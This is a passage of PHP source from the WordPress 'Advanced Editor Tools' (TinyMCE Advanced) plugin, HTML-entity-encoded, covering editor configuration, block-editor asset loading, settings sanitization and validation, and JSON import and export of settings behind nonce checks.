			$init[&#039;fontsize_formats&#039;] =  $this-&gt;fontsize_formats;
		}

		if ( in_array( &#039;table&#039;, $this-&gt;plugins, true ) ) {
			$init[&#039;table_toolbar&#039;] = false;

			// Prefer percentage values
			$init[&#039;table_responsive_width&#039;] = true;

			if ( ! $this-&gt;check_admin_setting( &#039;table_resize_bars&#039; ) ) {
				$init[&#039;table_resize_bars&#039;] = false;
				$init[&#039;object_resizing&#039;] = &#039;img&#039;;
			}

			if ( ! $this-&gt;check_admin_setting( &#039;table_default_attributes&#039; ) ) {
				$init[&#039;table_default_attributes&#039;] = &#039;{}&#039;;
			}

			if ( ! $this-&gt;check_admin_setting( &#039;table_grid&#039; ) ) {
				$init[&#039;table_grid&#039;] = false;
			}

			if ( ! $this-&gt;check_admin_setting( &#039;table_tab_navigation&#039; ) ) {
				$init[&#039;table_tab_navigation&#039;] = false;
			}

			if ( ! $this-&gt;check_admin_setting( &#039;table_advtab&#039; ) ) {
				$init[&#039;table_advtab&#039;] = false;
				$init[&#039;table_cell_advtab&#039;] = false;
				$init[&#039;table_row_advtab&#039;] = false;
				$init[&#039;table_appearance_options&#039;] = false;
			}
		}

		return $init;
	}

	public function block_editor_assets() {
		$plugin_url = plugins_url( &#039;block-editor&#039;, __FILE__ );

		if ( ! is_array( $this-&gt;admin_options ) ) {
			$this-&gt;load_settings();
		}

		if ( $this-&gt;check_admin_setting( &#039;hybrid_mode&#039; ) || $this-&gt;check_admin_setting( &#039;classic_paragraph_block&#039; ) ) {
			$strings = array();
			$dependencies = array( &#039;wp-element&#039;, &#039;wp-components&#039;, &#039;wp-i18n&#039;, &#039;wp-keycodes&#039;, &#039;wp-blocks&#039;, &#039;wp-edit-post&#039;, &#039;wp-hooks&#039;, &#039;lodash&#039; );
			wp_enqueue_script( &#039;tadv-classic-paragraph&#039;, $plugin_url . &#039;/classic-paragraph.js&#039;, $dependencies, $this-&gt;plugin_version );

			if ( $this-&gt;check_admin_setting( &#039;classic_paragraph_block&#039; ) ) {
				$strings = array(
					&#039;classicParagraphTitle&#039; =&gt; __( &#039;Classic Paragraph&#039;, &#039;tinymce-advanced&#039; ),
					&#039;classicParagraph&#039; =&gt; &#039;yes&#039;,
					&#039;description&#039; =&gt; __( &#039;For use instead of the Paragraph Block. Supports transforming to and from multiple Paragraph blocks, Image, Table, List, Quote, Custom HTML, and most other blocks.&#039;, &#039;tinymce-advanced&#039; ),
				);

				wp_enqueue_style( &#039;tadv-classic-paragraph-styles&#039;, $plugin_url . &#039;/classic-paragraph.css&#039;, array(), $this-&gt;plugin_version );
			}

			if ( $this-&gt;check_admin_setting( &#039;hybrid_mode&#039; ) ) {
				$strings[&#039;hybridMode&#039;] = &#039;yes&#039;;
			}

			wp_localize_script( &#039;tadv-classic-paragraph&#039;, &#039;tadvBlockRegister&#039;, $strings );
		}

		// Block editor toolbars
		if ( ! $this-&gt;check_user_setting( &#039;disable_richtext_buttons&#039; ) ) {
			$dependencies = array( &#039;wp-element&#039;, &#039;wp-components&#039;, &#039;wp-i18n&#039;, &#039;wp-editor&#039;, &#039;wp-rich-text&#039; );
			wp_enqueue_script( &#039;tadv-block-buttons&#039;, $plugin_url . &#039;/richtext-buttons.js&#039;, $dependencies, $this-&gt;plugin_version );

			$strings = array(
				&#039;strRemoveFormatting&#039; =&gt; __( &#039;Clear formatting&#039;, &#039;tinymce-advanced&#039; ),
				&#039;strMark&#039; =&gt; __( &#039;Mark&#039;, &#039;tinymce-advanced&#039; ),
			);

			wp_localize_script( &#039;tadv-block-buttons&#039;, &#039;tadvBlockButtons&#039;, $strings );

			wp_enqueue_style( &#039;tadv-block-buttons-styles&#039;, $plugin_url . &#039;/richtext-buttons.css&#039;, array(), $this-&gt;plugin_version );
		}

		wp_enqueue_style( &#039;tadv-block-editor-styles&#039;, $plugin_url . &#039;/tma-block-editor.css&#039;, array(), $this-&gt;plugin_version );
	}

	public function block_editor_init() {
		if ( $this-&gt;check_admin_setting( &#039;replace_block_editor&#039; ) &amp;&amp; ! class_exists( &#039;Classic_Editor&#039; ) ) {
			add_filter( &#039;use_block_editor_for_post_type&#039;, &#039;__return_false&#039;, 1000 );
		}
	}

	public function filter_post_content( $data ) {
		$content = $data[&#039;post_content&#039;];
		// Fix for the fix to keep &lt;p&gt; tags inside the classic block :-(
		// $data is slashed...
		if ( strpos( $content, &#039;&lt;p data-tadv-p=\&quot;keep\&quot;&gt;&#039; ) !== false ) {
			$content = str_replace( &#039;&lt;p data-tadv-p=\&quot;keep\&quot;&gt;&#039;, &#039;&lt;p&gt;&#039;, $content );
		}

		$data[&#039;post_content&#039;] = $content;
		return $data;
	}

	// Excerpts can be generated from classic paragraph blocks
	public function excerpt_add_allowed_blocks( $allowed_blocks ) {
		// Make sure a plugin doesn&#039;t pass the wrong type here...
		$allowed_blocks = (array) $allowed_blocks;
		$allowed_blocks[] = &#039;tadv/classic-paragraph&#039;;
		return $allowed_blocks;
	}

	public function mce_external_plugins( $mce_plugins ) {
		if ( ! is_array( $this-&gt;options ) ) {
			$this-&gt;load_settings();
		}

		if ( $this-&gt;is_disabled() ) {
			return $mce_plugins;
		}

		if ( ! is_array( $this-&gt;plugins ) ) {
			$this-&gt;plugins = array();
		}

		$this-&gt;plugins[] = &#039;wptadv&#039;;

		if ( $this-&gt;check_user_setting( &#039;menubar&#039; ) || $this-&gt;check_user_setting( &#039;menubar_block&#039; ) ) {
			$this-&gt;plugins = array_merge( $this-&gt;plugins, $this-&gt;required_menubar_plugins );
		}

		$this-&gt;plugins = array_intersect( $this-&gt;plugins, $this-&gt;get_all_plugins() );

		$plugin_url = plugins_url( &#039;mce/&#039;, __FILE__ );
		$mce_plugins = (array) $mce_plugins;
		$suffix = defined( &#039;SCRIPT_DEBUG&#039; ) &amp;&amp; SCRIPT_DEBUG ? &#039;&#039; : &#039;.min&#039;;

		foreach ( $this-&gt;plugins as $plugin ) {
			$mce_plugins[&quot;$plugin&quot;] = $plugin_url . $plugin . &quot;/plugin{$suffix}.js&quot;;
		}

		return $mce_plugins;
	}

	public function tiny_mce_plugins( $plugins ) {
		if ( $this-&gt;is_disabled() ) {
			return $plugins;
		}

		if ( in_array( &#039;image&#039;, $this-&gt;used_buttons, true ) &amp;&amp; ! in_array( &#039;image&#039;, $plugins, true ) ) {
			$plugins[] = &#039;image&#039;;
		}

		if ( ( in_array( &#039;rtl&#039;, $this-&gt;used_buttons, true ) || in_array( &#039;ltr&#039;, $this-&gt;used_buttons, true ) ) &amp;&amp;
			! in_array( &#039;directionality&#039;, (array) $plugins, true ) ) {

			$plugins[] = &#039;directionality&#039;;
		}

		return $plugins;
	}

	private function parse_buttons( $toolbar_id = false, $buttons = false ) {
		if ( $toolbar_id &amp;&amp; ! $buttons &amp;&amp; ! empty( $_POST[$toolbar_id] ) )
			$buttons = $_POST[$toolbar_id];

		if ( is_array( $buttons ) ) {
			$_buttons = array_map( array( @$this, &#039;filter_name&#039; ), $buttons );
			return implode( &#039;,&#039;, array_filter( $_buttons ) );
		}

		return &#039;&#039;;
	}

	private function filter_name( $str ) {
		if ( empty( $str ) || ! is_string( $str ) )
			return &#039;&#039;;
		// Button names
		return preg_replace( &#039;/[^a-z0-9_]/i&#039;, &#039;&#039;, $str );
	}

	private function sanitize_settings( $settings ) {
		$_settings = array();

		if ( ! is_array( $settings ) ) {
			return $_settings;
		}

		foreach( $settings as $name =&gt; $value ) {
			$name = preg_replace( &#039;/[^a-z0-9_]+/&#039;, &#039;&#039;, $name );

			if ( strpos( $name, &#039;toolbar_&#039; ) === 0 ) {
				$_settings[$name] = $this-&gt;parse_buttons( false, explode( &#039;,&#039;, $value ) );
			} else if ( &#039;options&#039; === $name || &#039;plugins&#039; === $name || &#039;disabled_plugins&#039; === $name ) {
				$_settings[$name] = preg_replace( &#039;/[^a-z0-9_,]+/&#039;, &#039;&#039;, $value );
			}
		}

		return $_settings;
	}

	/**
	 * Validare array of settings against a whitelist.
	 *
	 * @param array $settings The settings.
	 * @param array $checklist The whitelist.
	 * @return string The validated settings CSV.
	 */
	private function validate_settings( $settings, $checklist ) {
		if ( empty( $settings ) ) {
			return &#039;&#039;;
		} elseif ( is_string( $settings ) ) {
			$settings = explode( &#039;,&#039;, $settings );
		} elseif ( ! is_array( $settings ) ) {
			return &#039;&#039;;
		}

		$_settings = array();

		foreach ( $settings as $value ) {
			if ( in_array( $value, $checklist, true ) ) {
				$_settings[] = $value;
			}
		}

		return implode( &#039;,&#039;, $_settings );
	}

	private function save_settings( $all_settings = null ) {
		$settings = $user_settings = array();
		$default_settings = $this-&gt;get_default_user_settings();

		if ( empty( $this-&gt;buttons_filter ) ) {
			$this-&gt;get_all_buttons();
		}

		if ( ! empty( $all_settings[&#039;settings&#039;] ) ) {
			$user_settings = $all_settings[&#039;settings&#039;];
		}

		for ( $i = 1; $i &lt; 6; $i++ ) {
			$toolbar_name = ( $i &lt; 5 ) ? &#039;toolbar_&#039; . $i : &#039;toolbar_classic_block&#039;;

			if ( ! empty( $user_settings[ $toolbar_name ] ) ) {
				$toolbar = explode( &#039;,&#039;, $user_settings[ $toolbar_name ] );
			} elseif ( ! empty( $_POST[ $toolbar_name ] ) &amp;&amp; is_array( $_POST[ $toolbar_name ] ) ) {
				$toolbar = $_POST[ $toolbar_name ];
			} else {
				$toolbar = array();
			}

			if ( $i &gt; 1 &amp;&amp; in_array( &#039;wp_adv&#039;, $toolbar, true ) ) {
				$toolbar = array_diff( $toolbar, array( &#039;wp_adv&#039; ) );
			}

			$settings[ $toolbar_name ] = $this-&gt;validate_settings( $toolbar, $this-&gt;buttons_filter );
		}

		if ( ! empty( $user_settings[&#039;options&#039;] ) ) {
			$options = explode( &#039;,&#039;, $user_settings[&#039;options&#039;] );
		} elseif ( ! empty( $_POST[&#039;options&#039;] ) &amp;&amp; is_array( $_POST[&#039;options&#039;] ) ) {
			$options = $_POST[&#039;options&#039;];

			if ( ! empty( $_POST[&#039;richtext_buttons&#039;] ) &amp;&amp; $_POST[&#039;richtext_buttons&#039;] === &#039;no&#039; ) {
				$options[] = &#039;disable_richtext_buttons&#039;;
			}
		} else {
			$options = array();
		}

		$settings[&#039;options&#039;] = $this-&gt;validate_settings( $options, $this-&gt;get_all_user_options() );

		if ( ! empty( $user_settings[&#039;plugins&#039;] ) ) {
			$plugins = explode( &#039;,&#039;, $user_settings[&#039;plugins&#039;] );
		} else {
			$plugins = array();
		}

		if ( ! empty( $settings[&#039;options&#039;][&#039;menubar&#039;] ) || ! empty( $settings[&#039;options&#039;][&#039;menubar_block&#039;] ) ) {
			$plugins = array_merge( $plugins, $this-&gt;required_menubar_plugins );
		}

		// Merge the submitted plugins with plugins needed for the buttons.
		$this-&gt;user_settings = $settings;
		$this-&gt;load_settings();
		$plugins = $this-&gt;get_plugins( $plugins );

		$settings[&#039;plugins&#039;] = $this-&gt;validate_settings( $plugins, $this-&gt;get_all_plugins() );

		$this-&gt;user_settings = $settings;
		$this-&gt;load_settings();

		// Save the new settings.
		update_option( &#039;tadv_settings&#039;, $settings );

		if ( ! is_multisite() || current_user_can( &#039;manage_sites&#039; ) ) {
			$this-&gt;save_admin_settings( $all_settings );
		}
	}

	private function save_admin_settings( $all_settings = null ) {
		$admin_settings = $save_admin_settings = array();

		if ( ! empty( $all_settings[&#039;admin_settings&#039;] ) ) {
			$admin_settings = $all_settings[&#039;admin_settings&#039;];
		}

		if ( ! empty( $admin_settings ) ) {
			if ( ! empty( $admin_settings[&#039;options&#039;] ) ) {
				$save_admin_settings[&#039;options&#039;] = $this-&gt;validate_settings( $admin_settings[&#039;options&#039;], $this-&gt;get_all_admin_options() );
			} else {
				$save_admin_settings[&#039;options&#039;] = &#039;&#039;;
			}

			$disabled_editors = array_intersect( $this-&gt;get_editor_locations(), explode( &#039;,&#039;, $admin_settings[&#039;disabled_editors&#039;] ) );
		} elseif ( isset( $_POST[&#039;tadv-save&#039;] ) ) {
			if ( ! empty( $_POST[&#039;admin_options&#039;] ) &amp;&amp; is_array( $_POST[&#039;admin_options&#039;] ) ) {
				$save_admin_settings[&#039;options&#039;] = $this-&gt;validate_settings( $_POST[&#039;admin_options&#039;], $this-&gt;get_all_admin_options() );
			}

			if ( ! empty( $_POST[&#039;tadv_enable_at&#039;] ) &amp;&amp; is_array( $_POST[&#039;tadv_enable_at&#039;] ) ) {
				$tadv_enable_at = $_POST[&#039;tadv_enable_at&#039;];
			} else {
				$tadv_enable_at = array();
			}

			$disabled_editors = array_diff( $this-&gt;get_editor_locations(), $tadv_enable_at );
		} else {
			return;
		}

		$save_admin_settings[&#039;disabled_editors&#039;] = implode( &#039;,&#039;, $disabled_editors );

		$this-&gt;admin_settings = $save_admin_settings;
		update_option( &#039;tadv_admin_settings&#039;, $save_admin_settings );
	}

	private function import_from_file() {
		if ( empty( $_FILES[&#039;tadv-import&#039;][&#039;name&#039;] ) ) {
			return 1;
		}

		$file_type = wp_check_filetype( $_FILES[&#039;tadv-import&#039;][&#039;name&#039;], array( &#039;json&#039; =&gt; &#039;application/json&#039; ) );

		if ( $file_type[&#039;ext&#039;] !== &#039;json&#039; ) {
			return 1;
		}

		$settings = @file_get_contents( $_FILES[&#039;tadv-import&#039;][&#039;tmp_name&#039;] );

		if ( empty( $settings ) ) {
			return 2;
		}

		$settings = json_decode( $settings, true );

		if ( ! is_array( $settings ) ) {
			return 3;
		}

		$this-&gt;save_settings( $settings );
		return 0;
	}

	public function import_export_settings_file() {
		if ( ! current_user_can( &#039;manage_options&#039; ) ) {
			return;
		}

		if (
			isset( $_POST[&#039;tadv-import-file&#039;] ) &amp;&amp;
			isset( $_POST[&#039;tadv-import-settings-nonce&#039;] ) &amp;&amp;
			wp_verify_nonce( $_POST[&#039;tadv-import-settings-nonce&#039;], &#039;tadv-import-settings&#039; )
		) {
			$err = $this-&gt;import_from_file();
			$url = admin_url( &#039;options-general.php?page=tinymce-advanced&#039; );
			$url = add_query_arg( &#039;tadv-import-file-complete&#039;, $err, $url );

			wp_safe_redirect( $url );
			exit;
		} elseif (
			isset( $_POST[&#039;tadv-export-settings&#039;] ) &amp;&amp;
			isset( $_POST[&#039;tadv-export-settings-nonce&#039;] ) &amp;&amp;
			wp_verify_nonce( $_POST[&#039;tadv-export-settings-nonce&#039;], &#039;tadv-export-settings&#039; )
		) {
			$this-&gt;load_settings();
			$output = array( &#039;settings&#039; =&gt; $this-&gt;user_settings );

			// TODO: only admin || SA
			$output[&#039;admin_settings&#039;] = $this-&gt;admin_settings;

			$sitename = get_bloginfo( &#039;name&#039; );

			if ( mb_strlen( $sitename ) &gt; 100 ) {
				$sitename = mb_substr( $sitename, 0, 100 );
			}

			$sitename = preg_replace( &#039;/[ \.-]+/&#039;, &#039;-&#039;, $sitename );

			$date = date( &#039;Y-m-d&#039; );
			$filename = sanitize_file_name( $sitename . &#039;-TMA-settings-&#039; . $date . &#039;.json&#039; );

			nocache_headers();
			header( &#039;Content-Type: application/json; charset=utf-8&#039; );
			header( &quot;Content-Disposition: attachment; filename=$filename&quot; );

			echo wp_json_encode( $output );
			exit;
		}
	}

	public function settings_page() {
		if ( ! defined( &#039;TADV_ADMIN_PAGE&#039; ) ) {
			define( &#039;TADV_ADMIN_PAGE&#039;, true );
		}

		include_once( plugin_dir_path( __FILE__ ) . &#039;tadv_admin.php&#039; );
	}

	public function add_menu() {
		$page_title      = __( &#039;Advanced Editor Tools&#039;, &#039;tinymce-advanced&#039; );
		$menu_item_label = __( &#039;Advanced Editor Tools&#039;, &#039;tinymce-advanced&#039; );
		add_options_page( $page_title, $menu_item_label, &#039;manage_options&#039;, &#039;tinymce-advanced&#039;, array( $this, &#039;settings_page&#039; ) );
	}

	/**
	 * Add a link to the settings page
	 */
	public function add_settings_link( $links, $file ) {
		if (
			strrpos( $file, &#039;/tinymce-advanced.php&#039; ) === ( strlen( $file ) - 21 ) &amp;&amp;
			current_user_can( &#039;manage_options&#039; )
		) {
			$settings_link = sprintf( &#039;&lt;a href=&quot;%s&quot;&gt;%s&lt;/a&gt;&#039;, admin_url( &#039;options-general.php?page=tinymce-advanced&#039; ), __( &#039;Settings&#039;, &#039;tinymce-advanced&#039; ) );
			$links = (array) $links;
			$links[&#039;tma_settings_link&#039;] = $settings_link;
		}

		return $links;
	}
}

new Advanced_Editor_Tools;
endif;
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